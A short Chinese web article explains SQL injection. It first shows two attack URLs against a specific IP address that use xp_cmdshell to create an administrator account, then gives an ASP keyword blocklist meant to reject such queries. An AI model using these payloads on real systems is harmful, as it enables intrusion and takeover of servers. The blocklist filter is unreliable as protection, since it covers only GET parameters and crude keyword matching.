'--------------------------------------------------------------------------
http://61.144.185.39/System_BBS_ShowInfo.asp?pid=1&cid=8';exec%20master.dbo.xp_cmdshell%20"net user test test /add;--&aid=8&sid=4&page=1
http://61.144.185.39/System_BBS_ShowInfo.asp?pid=1&cid=8';exec%20master.dbo.xp_cmdshell%20"net localgroup administrators test /add;--&aid=8&sid=4&page=1
'--------------------------------------------------------
以上代码即为sql inject即sql注入攻击网站方案.
如果以上的系统采用的是sql数据库而且是SA帐号.
且无以下代码作为防守.则以上代码执行后的结果就是
机器上的超管组增加一个TEST用户.
闲人勿试以上代码,否则被网警....与本人无关......
以下代码仅供WEB工作者使用.
qs=request.servervariables("query_string")
dim nothis(18)
nothis(0)="net user"
nothis(1)="xp_cmdshell"
nothis(2)="/add"
nothis(3)="exec%20master.dbo.xp_cmdshell"
nothis(4)="net localgroup administrators"
nothis(5)="select"
nothis(6)="count"
nothis(7)="asc"
nothis(8)="char"
nothis(9)="mid"
nothis(10)="'"
nothis(11)=":"
nothis(12)=""""
nothis(13)="insert"
nothis(14)="delete"
nothis(15)="drop"
nothis(16)="truncate"
nothis(17)="from"
nothis(18)="%"
errc=false
for i= 0 to ubound(nothis)
if instr(Qs,nothis(i))<>0 then
errc=true
end if
next
if errc then
response.write "<script language=""javascript"">"
response.write "parent.alert('很抱歉!你正在试图攻击本服务器或者想取得本服务器最高管理权!将直接转向首页..');"
response.write "self.location.href='default.asp';"
response.write "</script>"
response.end
end if
--------------------
以上只能防止GET方式的sql注入攻击.
采用的时候只须在接受任何参数前使用即可.
可以依需要增加过滤参数.
马上把此代码加入到conn.asp中.
可以增加一定的安全强度.但并不是绝对安全.
POST防守方式要小心过滤一些必要的参数.
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。